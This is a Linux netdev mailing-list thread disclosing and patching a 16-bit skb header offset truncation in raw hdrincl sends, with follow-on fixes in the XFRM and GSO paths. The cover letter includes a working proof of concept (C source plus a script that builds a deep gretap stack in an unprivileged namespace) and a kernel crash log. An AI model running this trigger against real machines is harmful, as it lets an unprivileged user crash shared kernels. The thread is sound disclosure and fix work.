* [PATCH net v2 0/1] net: skbuff: reject skb header offset updates that truncate
@ 2026-07-31 21:08 Zihan Xi
2026-07-31 21:08 ` [PATCH net v2 1/1] " Zihan Xi
0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-07-31 21:08 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, gustavoars,
jlayton, runyu.xiao, kees, willemb, lirongqing, vega, zihanx
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv4/raw.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing
skb header offsets in 16-bit fields. Since commit 1a37e412a022 ("net: Use
16bits for *_headers fields of struct skbuff"), these offsets must stay
representable, and U16_MAX is also the unset sentinel for transport_header.
With a deep gretap stack, LL_RESERVED_SPACE(dev) can grow to 65536. On the
IPv4 hdrincl path, skb_reserve(skb, hlen) followed by
skb_reset_network_header(skb) stores skb->data - skb->head in the 16-bit
network_header field. When hlen reaches 65536, that stored offset truncates to
0. raw_send_hdrinc() then copies the userspace IPv4 header to ip_hdr(skb) at
the wrapped offset, and the malformed skb later faults in eth_header().
IPv4 also has a second boundary at hlen + iphlen, because the transport header
is advanced by the user-controlled IPv4 header length and U16_MAX itself is
not a valid stored transport offset. The initial raw route is also not the
only place that matters: LOCAL_OUT can reroute the skb, XFRM can add
additional headroom, and later output/GSO paths can grow the skb head or
recompute transport_header from network_header. Those later positive updates
can overflow the same 16-bit state after the skb leaves raw.c.
This patch keeps the raw IPv4/IPv6 hdrincl entry bounds and adds checked
helpers for later positive skb header offset updates and transport_header
recomputations. The checked helpers reject values before they would overflow
the stored 16-bit fields or turn transport_header into the U16_MAX sentinel,
and the affected skb expansion, GSO, XFRM, ESP offload, and IPTFS output
paths now propagate that failure instead of silently producing a truncated
header offset.
The reproducer below exercises the IPv4 hdrincl crash path. The IPv6,
XFRM, ESP offload, and IPTFS changes close the same 16-bit skb
header offset invariant for later positive offset updates and
transport-header recomputations found by code inspection.
We did not use packetdrill for the reproducer because the trigger depends on
constructing a very deep gretap device stack so that LL_RESERVED_SPACE(dev)
reaches the truncation boundary before the raw hdrincl send. packetdrill can
express the final packet send, but not this device-topology setup as the main
trigger condition.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
Actual trigger wrapper used in validation:
unshare -Urn ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
static uint16_t ip_checksum(const void *buf, size_t len)
{
const uint8_t *p = buf;
uint32_t sum = 0;
while (len > 1) {
sum += ((uint32_t)p[0] << 8) | p[1];
p += 2;
len -= 2;
}
if (len)
sum += (uint32_t)p[0] << 8;
while (sum >> 16)
sum = (sum & 0xffffU) + (sum >> 16);
return (uint16_t)~sum;
}
int main(int argc, char **argv)
{
static const char payload[] = "ABCD";
const char *ifname = argc > 1 ? argv[1] : "g1560";
const char *dst_str = argc > 2 ? argv[2] : "192.0.2.2";
const char *src_str = argc > 3 ? argv[3] : "192.0.2.1";
struct sockaddr_in dst = {
.sin_family = AF_INET,
};
struct iphdr iph = {
.version = 4,
.ihl = 5,
.tos = 0,
.tot_len = htons(sizeof(struct iphdr) + sizeof(payload) - 1),
.id = htons(0x1234),
.frag_off = 0,
.ttl = 64,
.protocol = 253,
.check = 0,
};
unsigned char packet[sizeof(iph) + sizeof(payload) - 1];
int fd;
ssize_t n;
if (inet_pton(AF_INET, src_str, &iph.saddr) != 1) {
fprintf(stderr, "bad src %s\n", src_str);
return 1;
}
if (inet_pton(AF_INET, dst_str, &iph.daddr) != 1) {
fprintf(stderr, "bad dst %s\n", dst_str);
return 1;
}
if (inet_pton(AF_INET, dst_str, &dst.sin_addr) != 1) {
fprintf(stderr, "bad sockaddr dst %s\n", dst_str);
return 1;
}
iph.check = ip_checksum(&iph, sizeof(iph));
memcpy(packet, &iph, sizeof(iph));
memcpy(packet + sizeof(iph), payload, sizeof(payload) - 1);
fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd < 0) {
perror("socket");
return 1;
}
{
int one = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
perror("setsockopt(IP_HDRINCL)");
close(fd);
return 1;
}
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ifname,
strlen(ifname) + 1) < 0) {
perror("setsockopt(SO_BINDTODEVICE)");
close(fd);
return 1;
}
}
n = sendto(fd, packet, sizeof(packet), 0,
(struct sockaddr *)&dst, sizeof(dst));
if (n < 0) {
perror("sendto");
close(fd);
return 1;
}
printf("sent %zd bytes via %s to %s\n", n, ifname, dst_str);
close(fd);
return 0;
}
------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DEPTH="${DEPTH:-1560}"
TOP="g${DEPTH}"
if ip route show default 2>/dev/null | grep -q .; then
echo "run inside an isolated netns, e.g. unshare -n $0 or unshare -Urn $0" >&2
exit 1
fi
ip link add dummy0 type dummy
ip link set dummy0 up mtu 100000
lower="dummy0"
i=1
while [ "$i" -le "$DEPTH" ]; do
a=$(( (i / 250) % 250 + 1 ))
b=$(( i % 250 + 1 ))
lip="10.${a}.${b}.1"
rip="10.${a}.${b}.2"
ip link add "g${i}" type gretap local "${lip}" remote "${rip}" dev "${lower}" key 1
lower="g${i}"
i=$((i + 1))
done
ip link set "${TOP}" up
ip addr add 192.0.2.1/24 dev "${TOP}"
ip neigh replace 192.0.2.2 lladdr 02:11:22:33:44:55 nud permanent dev "${TOP}"
exec ./poc "${TOP}" 192.0.2.2 192.0.2.1
------END poc.sh--------
----BEGIN crash log----
[ 52.208710] BUG: unable to handle page fault for address: ffffa3986611fffe
[ 52.220274] #PF: supervisor write access in kernel mode
[ 52.228822] #PF: error_code(0x0002) - not-present page
[ 52.249792] Oops: Oops: 0002 [#1] SMP NOPTI
[ 52.313650] RIP: 0010:eth_header (net/ethernet/eth.c:86)
[ 52.585894] Call Trace:
[ 52.591902] neigh_resolve_output (include/linux/netdevice.h:3503 net/core/neighbour.c:1611 net/core/neighbour.c:1596)
[ 52.597910] ip_finish_output2 (include/net/neighbour.h:560 (discriminator 2) net/ipv4/ip_output.c:236 (discriminator 2))
[ 52.603665] ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[ 52.616159] raw_sendmsg (net/ipv4/raw.c:677)
[ 52.638531] __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[ 52.643321] __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[ 52.648330] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 52.653123] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
-----END crash log-----
Best regards,
Zihan Xi
changes in v2:
- Keep skb_segment() default error code after successful checked header
offset updates to avoid returning ERR_PTR(0), as reported by the kernel
test robot.
- Extend the checked update coverage to XFRM, ESP offload, and IPTFS
transport-header recomputation paths instead of relying on raw hdrincl
entry guards alone.
- v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
---
net/ipv4/esp4_offload.c | 15 +++--
net/ipv4/raw.c | 4 ++
net/ipv6/esp6_offload.c | 15 +++--
net/ipv6/raw.c | 4 ++
net/xfrm/xfrm_device.c | 45 ++++++++++-----
net/xfrm/xfrm_iptfs.c | 6 +-
net/xfrm/xfrm_output.c | 21 ++++---
9 files changed, 221 insertions(+), 41 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net v2 1/1] net: skbuff: reject skb header offset updates that truncate
2026-07-31 21:08 [PATCH net v2 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
@ 2026-07-31 21:08 ` Zihan Xi
0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-07-31 21:08 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, gustavoars,
jlayton, runyu.xiao, kees, willemb, lirongqing, vega, zihanx
raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
storing skb header offsets in 16-bit fields. If the reserved headroom
grows past the representable range, skb_reset_network_header() truncates
the stored offset and the hdrincl path later copies the user header to
the wrong location.
On IPv4 this can also happen after the user header is copied, because the
transport header is advanced by iphlen. The value U16_MAX itself is not a
valid transport header offset either, because it is used as the unset
sentinel.
The initial raw route is not the only place that matters. LOCAL_OUT can
reroute the skb, XFRM can add dst->header_len, and LWT or other output
paths can grow the skb head later. More generally, positive calls into
skb_headers_offset_update() can wrap these 16-bit offsets, while later
paths that recompute transport_header from network_header can still
overflow it or turn it into the U16_MAX sentinel.
Reject hdrincl sends when the initial reserved LL headroom cannot fit in
the skb header offset fields, and reject later positive skb header offset
updates or transport-header recomputations before they would overflow the
stored 16-bit values.
Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
- Keep skb_segment() default error code after successful checked header
offset updates to avoid returning ERR_PTR(0), as reported by the kernel
test robot.
- Extend the checked update coverage to XFRM, ESP offload, and IPTFS
transport-header recomputation paths instead of relying on raw hdrincl
entry guards alone.
- v1 Link: https://lore.kernel.org/all/cover.1785346409.git.zihanx@nebusec.ai/
---
include/linux/skbuff.h | 28 +++++++++
net/core/skbuff.c | 124 +++++++++++++++++++++++++++++++++++++---
net/ipv4/esp4_offload.c | 15 +++--
net/ipv4/raw.c | 4 ++
net/ipv6/esp6_offload.c | 15 +++--
net/ipv6/raw.c | 4 ++
net/xfrm/xfrm_device.c | 45 ++++++++++-----
net/xfrm/xfrm_iptfs.c | 6 +-
net/xfrm/xfrm_output.c | 21 ++++---
9 files changed, 221 insertions(+), 41 deletions(-)
diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 22eda1d54..c8e2fb217 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -3126,6 +3126,34 @@ static inline void skb_set_transport_header(struct sk_buff *skb,
skb->transport_header += offset;
}
+static inline bool __must_check
+skb_set_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+ if (unlikely(offset < 0 || offset >= U16_MAX))
+ return false;
+ if (unlikely(skb->network_header >= U16_MAX - offset))
+ return false;
+
+ skb->transport_header = skb->network_header + offset;
+ return true;
+}
+
+static inline bool __must_check
+skb_add_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+ if (offset > 0) {
+ if (unlikely(!skb_transport_header_was_set(skb)))
+ return false;
+ if (unlikely(offset >= U16_MAX))
+ return false;
+ if (unlikely(skb->transport_header >= U16_MAX - offset))
+ return false;
+ }
+
+ skb->transport_header += offset;
+ return true;
+}
+
static inline unsigned char *skb_network_header(const struct sk_buff *skb)
{
return skb->head + skb->network_header;
diff --git a/net/core/skbuff.c b/net/core/skbuff.c
index ba3dbac80..d8177e677 100644
--- a/net/core/skbuff.c
+++ b/net/core/skbuff.c
@@ -387,6 +387,9 @@ u32 napi_skb_cache_get_bulk(void **skbs, u32 n)
}
EXPORT_SYMBOL_GPL(napi_skb_cache_get_bulk);
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off);
+static int skb_transport_header_add_careful(struct sk_buff *skb, int off);
+
static inline void __finalize_skb_around(struct sk_buff *skb, void *data,
unsigned int size)
{
@@ -976,7 +979,11 @@ int skb_pp_cow_data(struct page_pool *pool, struct sk_buff **pskb,
skb_put(nskb, size);
head_off = skb_headroom(nskb) - skb_headroom(skb);
- skb_headers_offset_update(nskb, head_off);
+ err = skb_headers_offset_update_careful(nskb, head_off);
+ if (err) {
+ consume_skb(nskb);
+ return err;
+ }
off = size;
len = skb->len - off;
@@ -2140,6 +2147,86 @@ void skb_headers_offset_update(struct sk_buff *skb, int off)
}
EXPORT_SYMBOL(skb_headers_offset_update);
+static bool skb_header_offset_overflow(unsigned int offset, int add)
+{
+ if (add <= 0)
+ return false;
+ if (add > U16_MAX)
+ return true;
+
+ return offset > U16_MAX - add;
+}
+
+static bool skb_transport_header_offset_overflow(unsigned int offset, int add)
+{
+ if (add <= 0)
+ return false;
+ if (add >= U16_MAX)
+ return true;
+
+ return offset >= U16_MAX - add;
+}
+
+static bool skb_headers_offset_overflow(const struct sk_buff *skb, int off)
+{
+ if (skb_header_offset_overflow(skb->network_header, off))
+ return true;
+ if (skb_transport_header_was_set(skb) &&
+ skb_transport_header_offset_overflow(skb->transport_header, off))
+ return true;
+ if (skb_mac_header_was_set(skb) &&
+ skb_header_offset_overflow(skb->mac_header, off))
+ return true;
+ if (skb_header_offset_overflow(skb->inner_transport_header, off))
+ return true;
+ if (skb_inner_network_header_was_set(skb)) {
+ if (skb_header_offset_overflow(skb->inner_network_header, off))
+ return true;
+ if (skb_header_offset_overflow(skb->inner_mac_header, off))
+ return true;
+ }
+ if (skb->ip_summed == CHECKSUM_PARTIAL &&
+ skb_header_offset_overflow(skb->csum_start, off))
+ return true;
+
+ return false;
+}
+
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off)
+{
+ if (skb_headers_offset_overflow(skb, off))
+ return -EOVERFLOW;
+
+ if (skb->ip_summed == CHECKSUM_PARTIAL)
+ skb->csum_start += off;
+ if (skb_transport_header_was_set(skb))
+ skb->transport_header += off;
+ skb->network_header += off;
+ if (skb_mac_header_was_set(skb))
+ skb->mac_header += off;
+ if (skb->inner_transport_header != (typeof(skb->inner_transport_header))~0U)
+ skb->inner_transport_header += off;
+ if (skb_inner_network_header_was_set(skb)) {
+ skb->inner_network_header += off;
+ skb->inner_mac_header += off;
+ }
+
+ return 0;
+}
+
+static int skb_transport_header_add_careful(struct sk_buff *skb, int off)
+{
+ if (off > 0 && !skb_transport_header_was_set(skb))
+ return -EOVERFLOW;
+ if (skb_transport_header_was_set(skb) &&
+ skb_transport_header_offset_overflow(skb->transport_header, off))
+ return -EOVERFLOW;
+
+ skb->transport_header += off;
+
+ return 0;
+}
+
void skb_copy_header(struct sk_buff *new, const struct sk_buff *old)
{
__copy_skb_header(new, old);
@@ -2304,6 +2391,9 @@ int pskb_expand_head(struct sk_buff *skb, int nhead, int ntail,
BUG_ON(skb_shared(skb));
+ if (skb_headers_offset_overflow(skb, nhead))
+ return -EOVERFLOW;
+
skb_zcopy_downgrade_managed(skb);
if (skb_pfmemalloc(skb))
@@ -2354,7 +2444,7 @@ int pskb_expand_head(struct sk_buff *skb, int nhead, int ntail,
off = nhead;
#endif
skb->tail += off;
- skb_headers_offset_update(skb, nhead);
+ skb_headers_offset_update_careful(skb, nhead);
skb->cloned = 0;
skb->hdr_len = 0;
skb->nohdr = 0;
@@ -2541,7 +2631,10 @@ struct sk_buff *skb_copy_expand(const struct sk_buff *skb,
skb_copy_header(n, skb);
- skb_headers_offset_update(n, newheadroom - oldheadroom);
+ if (skb_headers_offset_update_careful(n, newheadroom - oldheadroom)) {
+ kfree_skb(n);
+ return NULL;
+ }
return n;
}
@@ -4680,7 +4773,7 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
unsigned int delta_len = 0;
struct sk_buff *tail = NULL;
struct sk_buff *nskb, *tmp;
- int len_diff, err;
+ int head_off, len_diff, err;
/* Only skb_gro_receive_list generated skbs arrive here */
DEBUG_NET_WARN_ON_ONCE(!(skb_shinfo(skb)->gso_type & SKB_GSO_FRAGLIST));
@@ -4732,8 +4825,17 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
len_diff = skb_network_header_len(nskb) - skb_network_header_len(skb);
__copy_skb_header(nskb, skb);
- skb_headers_offset_update(nskb, skb_headroom(nskb) - skb_headroom(skb));
- nskb->transport_header += len_diff;
+ head_off = skb_headroom(nskb) - skb_headroom(skb);
+ err = skb_headers_offset_update_careful(nskb, head_off);
+ if (unlikely(err)) {
+ nskb->next = list_skb;
+ goto err_list;
+ }
+ err = skb_transport_header_add_careful(nskb, len_diff);
+ if (unlikely(err)) {
+ nskb->next = list_skb;
+ goto err_list;
+ }
skb_copy_from_linear_data_offset(skb, -tnl_hlen,
nskb->data - tnl_hlen,
offset + tnl_hlen);
@@ -4759,9 +4861,11 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
return skb;
err_linearize:
+ err = -ENOMEM;
+err_list:
kfree_skb_list(skb->next);
skb->next = NULL;
- return ERR_PTR(-ENOMEM);
+ return ERR_PTR(err);
}
EXPORT_SYMBOL_GPL(skb_segment_list);
@@ -4961,7 +5065,11 @@ struct sk_buff *skb_segment(struct sk_buff *head_skb,
__copy_skb_header(nskb, head_skb);
- skb_headers_offset_update(nskb, skb_headroom(nskb) - headroom);
+ err = skb_headers_offset_update_careful(nskb,
+ skb_headroom(nskb) - headroom);
+ if (unlikely(err))
+ goto err;
+ err = -ENOMEM;
skb_reset_mac_len(nskb);
skb_copy_from_linear_data_offset(head_skb, -tnl_hlen,
diff --git a/net/ipv4/esp4_offload.c b/net/ipv4/esp4_offload.c
index abd77162f..a22ef044e 100644
--- a/net/ipv4/esp4_offload.c
+++ b/net/ipv4/esp4_offload.c
@@ -138,7 +138,8 @@ static struct sk_buff *xfrm4_transport_gso_segment(struct xfrm_state *x,
struct sk_buff *segs = ERR_PTR(-EINVAL);
struct xfrm_offload *xo = xfrm_offload(skb);
- skb->transport_header += x->props.header_len;
+ if (!skb_add_transport_header_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
ops = rcu_dereference(inet_offloads[xo->proto]);
if (likely(ops && ops->callbacks.gso_segment))
segs = ops->callbacks.gso_segment(skb, features);
@@ -155,23 +156,27 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
const struct net_offload *ops;
u8 proto = xo->proto;
- skb->transport_header += x->props.header_len;
+ if (!skb_add_transport_header_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
if (x->sel.family != AF_INET6) {
if (proto == IPPROTO_BEETPH) {
struct ip_beet_phdr *ph =
(struct ip_beet_phdr *)skb->data;
- skb->transport_header += ph->hdrlen * 8;
+ if (!skb_add_transport_header_careful(skb, ph->hdrlen * 8))
+ return ERR_PTR(-EOVERFLOW);
proto = ph->nexthdr;
} else {
skb->transport_header -= IPV4_BEET_PHMAXLEN;
}
} else {
+ int offset;
__be16 frag;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (!skb_add_transport_header_careful(skb, offset))
+ return ERR_PTR(-EOVERFLOW);
if (proto == IPPROTO_TCP)
skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV4;
}
diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c
index 7f74d8b95..16354bf76 100644
--- a/net/ipv4/raw.c
+++ b/net/ipv4/raw.c
@@ -356,6 +356,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
goto out;
hlen = LL_RESERVED_SPACE(rt->dst.dev);
+ if (hlen >= U16_MAX - sizeof(struct iphdr))
+ return -EINVAL;
tlen = rt->dst.dev->needed_tailroom;
skb = sock_alloc_send_skb(sk,
length + hlen + tlen + 15,
@@ -399,6 +401,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
err = -EINVAL;
if (iphlen > length || iphlen < sizeof(*iph))
goto error_free;
+ if (hlen >= U16_MAX - iphlen)
+ goto error_free;
if (iphlen >= sizeof(*iph)) {
if (!iph->saddr)
diff --git a/net/ipv6/esp6_offload.c b/net/ipv6/esp6_offload.c
index 22895521a..e123f0a97 100644
--- a/net/ipv6/esp6_offload.c
+++ b/net/ipv6/esp6_offload.c
@@ -174,7 +174,8 @@ static struct sk_buff *xfrm6_transport_gso_segment(struct xfrm_state *x,
struct sk_buff *segs = ERR_PTR(-EINVAL);
struct xfrm_offload *xo = xfrm_offload(skb);
- skb->transport_header += x->props.header_len;
+ if (!skb_add_transport_header_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
ops = rcu_dereference(inet6_offloads[xo->proto]);
if (likely(ops && ops->callbacks.gso_segment))
segs = ops->callbacks.gso_segment(skb, features);
@@ -191,7 +192,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
const struct net_offload *ops;
u8 proto = xo->proto;
- skb->transport_header += x->props.header_len;
+ if (!skb_add_transport_header_careful(skb, x->props.header_len))
+ return ERR_PTR(-EOVERFLOW);
if (x->sel.family != AF_INET6) {
skb->transport_header -=
@@ -201,7 +203,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
struct ip_beet_phdr *ph =
(struct ip_beet_phdr *)skb->data;
- skb->transport_header += ph->hdrlen * 8;
+ if (!skb_add_transport_header_careful(skb, ph->hdrlen * 8))
+ return ERR_PTR(-EOVERFLOW);
proto = ph->nexthdr;
} else {
skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -210,10 +213,12 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
if (proto == IPPROTO_TCP)
skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV6;
} else {
+ int offset;
__be16 frag;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (!skb_add_transport_header_careful(skb, offset))
+ return ERR_PTR(-EOVERFLOW);
}
if (proto == IPPROTO_IPIP)
diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c
index b88d364e7..fa223ec02 100644
--- a/net/ipv6/raw.c
+++ b/net/ipv6/raw.c
@@ -15,6 +15,7 @@
*/
#include <linux/errno.h>
+#include <linux/limits.h>
#include <linux/types.h>
#include <linux/socket.h>
#include <linux/slab.h>
@@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
if (flags&MSG_PROBE)
goto out;
+ if (hlen >= U16_MAX)
+ return -EINVAL;
+
skb = sock_alloc_send_skb(sk,
length + hlen + tlen + 15,
flags & MSG_DONTWAIT, &err);
diff --git a/net/xfrm/xfrm_device.c b/net/xfrm/xfrm_device.c
index f153bf695..2a09bd2ee 100644
--- a/net/xfrm/xfrm_device.c
+++ b/net/xfrm/xfrm_device.c
@@ -20,8 +20,8 @@
#include <linux/notifier.h>
#ifdef CONFIG_XFRM_OFFLOAD
-static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
- unsigned int hsize)
+static int __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
+ unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
@@ -30,30 +30,33 @@ static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
skb->transport_header -= x->props.header_len;
pskb_pull(skb, skb_transport_offset(skb) + x->props.header_len);
+ return 0;
}
-static void __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
- unsigned int hsize)
-
+static int __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
+ unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
- if (xo->flags & XFRM_GSO_SEGMENT)
- skb->transport_header = skb->network_header + hsize;
+ if (xo->flags & XFRM_GSO_SEGMENT &&
+ !skb_set_transport_header_careful(skb, hsize))
+ return -EOVERFLOW;
skb_reset_mac_len(skb);
pskb_pull(skb,
skb->mac_len + x->props.header_len - x->props.enc_hdr_len);
+ return 0;
}
-static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
- unsigned int hsize)
+static int __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
+ unsigned int hsize)
{
struct xfrm_offload *xo = xfrm_offload(skb);
int phlen = 0;
- if (xo->flags & XFRM_GSO_SEGMENT)
- skb->transport_header = skb->network_header + hsize;
+ if (xo->flags & XFRM_GSO_SEGMENT &&
+ !skb_set_transport_header_careful(skb, hsize))
+ return -EOVERFLOW;
skb_reset_mac_len(skb);
if (x->sel.family != AF_INET6) {
@@ -63,10 +66,11 @@ static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
}
pskb_pull(skb, skb->mac_len + hsize + (x->props.header_len - phlen));
+ return 0;
}
/* Adjust pointers into the packet when IPsec is done at layer2 */
-static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
+static int xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
{
switch (x->outer_mode.encap) {
case XFRM_MODE_IPTFS:
@@ -98,6 +102,8 @@ static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
case XFRM_MODE_IN_TRIGGER:
break;
}
+
+ return 0;
}
static inline bool xmit_xfrm_check_overflow(struct sk_buff *skb)
@@ -175,7 +181,12 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
if (!skb->next) {
esp_features |= skb->dev->gso_partial_features;
- xfrm_outer_mode_prep(x, skb);
+ err = xfrm_outer_mode_prep(x, skb);
+ if (err) {
+ XFRM_INC_STATS(xs_net(x), LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+ kfree_skb(skb);
+ return NULL;
+ }
xo->flags |= XFRM_DEV_RESUME;
@@ -201,7 +212,13 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
xo = xfrm_offload(skb2);
xo->flags |= XFRM_DEV_RESUME;
- xfrm_outer_mode_prep(x, skb2);
+ err = xfrm_outer_mode_prep(x, skb2);
+ if (err) {
+ XFRM_INC_STATS(xs_net(x), LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+ skb2->next = nskb;
+ kfree_skb_list(skb2);
+ return NULL;
+ }
err = x->type_offload->xmit(x, skb2, esp_features);
if (!err) {
diff --git a/net/xfrm/xfrm_iptfs.c b/net/xfrm/xfrm_iptfs.c
index 597aedeac..13b62bcd9 100644
--- a/net/xfrm/xfrm_iptfs.c
+++ b/net/xfrm/xfrm_iptfs.c
@@ -2379,7 +2379,8 @@ static int iptfs_encap_add_ipv4(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -(x->props.header_len - x->props.enc_hdr_len));
skb->mac_header = skb->network_header + offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ip_hdr(skb);
top_iph->ihl = 5;
@@ -2426,7 +2427,8 @@ static int iptfs_encap_add_ipv6(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len + x->props.enc_hdr_len);
skb->mac_header = skb->network_header + offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ipv6_hdr(skb);
top_iph->version = 6;
diff --git a/net/xfrm/xfrm_output.c b/net/xfrm/xfrm_output.c
index cc35c2fcb..0cebe752c 100644
--- a/net/xfrm/xfrm_output.c
+++ b/net/xfrm/xfrm_output.c
@@ -73,7 +73,8 @@ static int xfrm4_transport_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + ihl;
+ if (!skb_set_transport_header_careful(skb, ihl))
+ return -EOVERFLOW;
__skb_pull(skb, ihl);
memmove(skb_network_header(skb), iph, ihl);
return 0;
@@ -179,7 +180,8 @@ static int xfrm6_transport_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_mac_header(skb,
(prevhdr - x->props.header_len) - skb->data);
skb_set_network_header(skb, -x->props.header_len);
- skb->transport_header = skb->network_header + hdr_len;
+ if (!skb_set_transport_header_careful(skb, hdr_len))
+ return -EOVERFLOW;
__skb_pull(skb, hdr_len);
memmove(ipv6_hdr(skb), iph, hdr_len);
return 0;
@@ -209,7 +211,8 @@ static int xfrm6_ro_output(struct xfrm_state *x, struct sk_buff *skb)
skb_set_mac_header(skb,
(prevhdr - x->props.header_len) - skb->data);
skb_set_network_header(skb, -x->props.header_len);
- skb->transport_header = skb->network_header + hdr_len;
+ if (!skb_set_transport_header_careful(skb, hdr_len))
+ return -EOVERFLOW;
__skb_pull(skb, hdr_len);
memmove(ipv6_hdr(skb), iph, hdr_len);
@@ -241,7 +244,8 @@ static int xfrm4_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb->network_header += IPV4_BEET_PHMAXLEN;
skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
xfrm4_beet_make_header(skb);
@@ -288,7 +292,8 @@ static int xfrm4_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
